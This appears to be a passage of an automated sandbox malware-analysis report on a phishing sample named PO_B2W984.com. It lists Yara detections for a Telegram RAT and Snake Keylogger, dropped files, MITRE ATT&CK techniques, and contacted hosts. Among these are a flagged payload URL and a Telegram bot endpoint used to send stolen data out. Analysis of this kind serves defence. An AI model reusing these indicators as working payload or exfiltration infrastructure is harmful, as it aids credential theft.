Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d3f56.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.319d3d90.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea96478.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31995570.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30784e5e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31996478.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30783f56.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.rpkhzpuO.pif.2e8737c8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d4e5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ead3d90.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ead3d90.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.rpkhzpuO.pif.2b733e10.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70f08.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.304e0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.30784e5e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rpkhzpuO.pif.2761c6f8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea95570.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.335e0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.rpkhzpuO.pif.2e8737c8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.32f70f08.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea95570.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.304e0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.319d3d90.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.rpkhzpuO.pif.31995570.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.rpkhzpuO.pif.2b733e10.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2d5d3f56.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2ea96478.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rpkhzpuO.pif.2da40f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rpkhzpuO.pif.2761c6f8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.23188607246.0000000030743000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23112425454.000000002DA40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.22965228435.000000002761C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.23062543754.000000002B733000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.23190771291.0000000032F70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.23191645092.00000000335E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23114375641.000000002EA95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23111776153.000000002D593000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.23143070311.000000002E873000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.23190455309.0000000031995000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.23115572603.00000000304E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 6.0.Microsofts.exe.800000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Microsofts.exe PID: 4824, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Network Connections Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	311 Process Injection	3 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	1 Email Collection	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	341 Security Software Discovery	SSH	1 Input Capture	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	41 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	311 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO_B2W984.com	27%	ReversingLabs	Win32.Trojan.Generic
PO_B2W984.com	36%	Virustotal		Browse
PO_B2W984.com	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Microsofts.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\Microsofts.exe	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Oupzhkpr.PIF	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Microsofts.exe	91%	ReversingLabs	ByteCode-MSIL.Spyware.Snakekeylogger
C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	79%	ReversingLabs	ByteCode-MSIL.Infostealer.ClipBanker
C:\Users\Public\Libraries\Oupzhkpr.PIF	27%	ReversingLabs	Win32.Trojan.Generic
C:\Users\Public\Libraries\rpkhzpuO.pif	3%	ReversingLabs

Source	Detection	Scanner	Label
https://wdcp.mit	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png4	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
http://reallyfreegeoip.orgd	0%	Avira URL Cloud	safe
https://lwaziacademy.com/wps/200_Oupzhkprnvw	0%	Avira URL Cloud	safe
https://lwaziacademy.com/	0%	Avira URL Cloud	safe
http://checkip.dyndns.orgd	0%	Avira URL Cloud	safe
http://checkip.dyndns.comd	0%	Avira URL Cloud	safe
https://lwaziacademy.com/wps/200	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0C	0%	Avira URL Cloud	safe
http://www.pmail.com0	0%	Avira URL Cloud	safe
https://lwaziacademy.com/wps/200_OupzhkprnvwE	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.67.152	true	false	high
lwaziacademy.com	41.185.8.252	true	true	unknown
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/102.129.153.238	false		high
https://lwaziacademy.com/wps/200_Oupzhkprnvw	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png4	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wdcp.mit	rpkhzpuO.pif, 00000013.00000003.23143070311.000000002E8BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.orgd	Microsofts.exe, 00000006.00000002.24180228176.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000007.00000002.23005690561.0000000003119000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/102.129.153.238d	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	Microsofts.exe, 00000006.00000002.24180228176.0000000002D3C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24180228176.0000000002CD0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html4	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester4	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lwaziacademy.com/wps/200	PO_B2W984.com, 00000000.00000002.22975988044.0000000020D1D000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.comd	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000007.00000002.23006549497.00000000048E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/102.129.153.238l	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lwaziacademy.com/	PO_B2W984.com, 00000000.00000002.22965692413.000000000090E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	Microsofts.exe, 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Microsofts.exe.4.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.23006549497.0000000004A37000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.23019273945.000000000594F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	Microsofts.exe, 00000006.00000002.24180228176.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.orgd	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.quovadis.bm0	PO_B2W984.com, 00000000.00000002.22965692413.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24170624386.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23004693323.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ocsp.quovadisoffshore.com0	PO_B2W984.com, 00000000.00000002.22965692413.00000000009A4000.00000004.00000020.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000002.24170624386.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23004693323.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/d	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Microsofts.exe, 00000006.00000002.24180228176.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.23006549497.00000000048E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0C	PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962479852.0000000021C75000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23075899157.0000000021520000.00000004.00000020.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000003.23137306442.00000000007C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot-/sendDocument?chat_id=	Microsofts.exe, 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Microsofts.exe.4.dr	false		high
http://www.pmail.com0	PO_B2W984.com, 00000000.00000003.22961850687.0000000022891000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E7B3000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22981256081.000000002293B000.00000004.00000020.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22980607454.0000000021F86000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22982441152.000000007ED59000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000002.22975988044.0000000020C69000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954160582.000000007E809000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22962642028.000000007E75A000.00000004.00001000.00020000.00000000.sdmp, PO_B2W984.com, 00000000.00000003.22954500329.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, rpkhzpuO.pif, 00000004.00000001.22963397742.0000000000A89000.00000040.00000001.00020000.00000000.sdmp, Oupzhkpr.PIF, 0000000C.00000002.23072853329.0000000020CB5000.00000004.00001000.00020000.00000000.sdmp, Oupzhkpr.PIF, 00000010.00000002.23155674229.0000000020D19000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lwaziacademy.com/wps/200_OupzhkprnvwE	PO_B2W984.com, 00000000.00000002.22965692413.000000000095A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	Microsofts.exe, 00000006.00000002.24180228176.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, Microsofts.exe, 00000006.00000000.22971337611.0000000000802000.00000002.00000001.01000000.0000000B.sdmp, Microsofts.exe.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
41.185.8.252	lwaziacademy.com	South Africa	36943	GridhostZA	true
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583547
Start date and time:	2025-01-03 02:44:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO_B2W984.com
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winCOM@33/17@4/3
EGA Information:	Successful, ratio: 88.9%
HCA Information:	Successful, ratio: 97% Number of executed functions: 213 Number of non-executed functions: 70
Cookbook Comments:	Found application associated with file extension: .com

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Execution Graph export aborted for target Trading_AIBot.exe, PID 1008 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

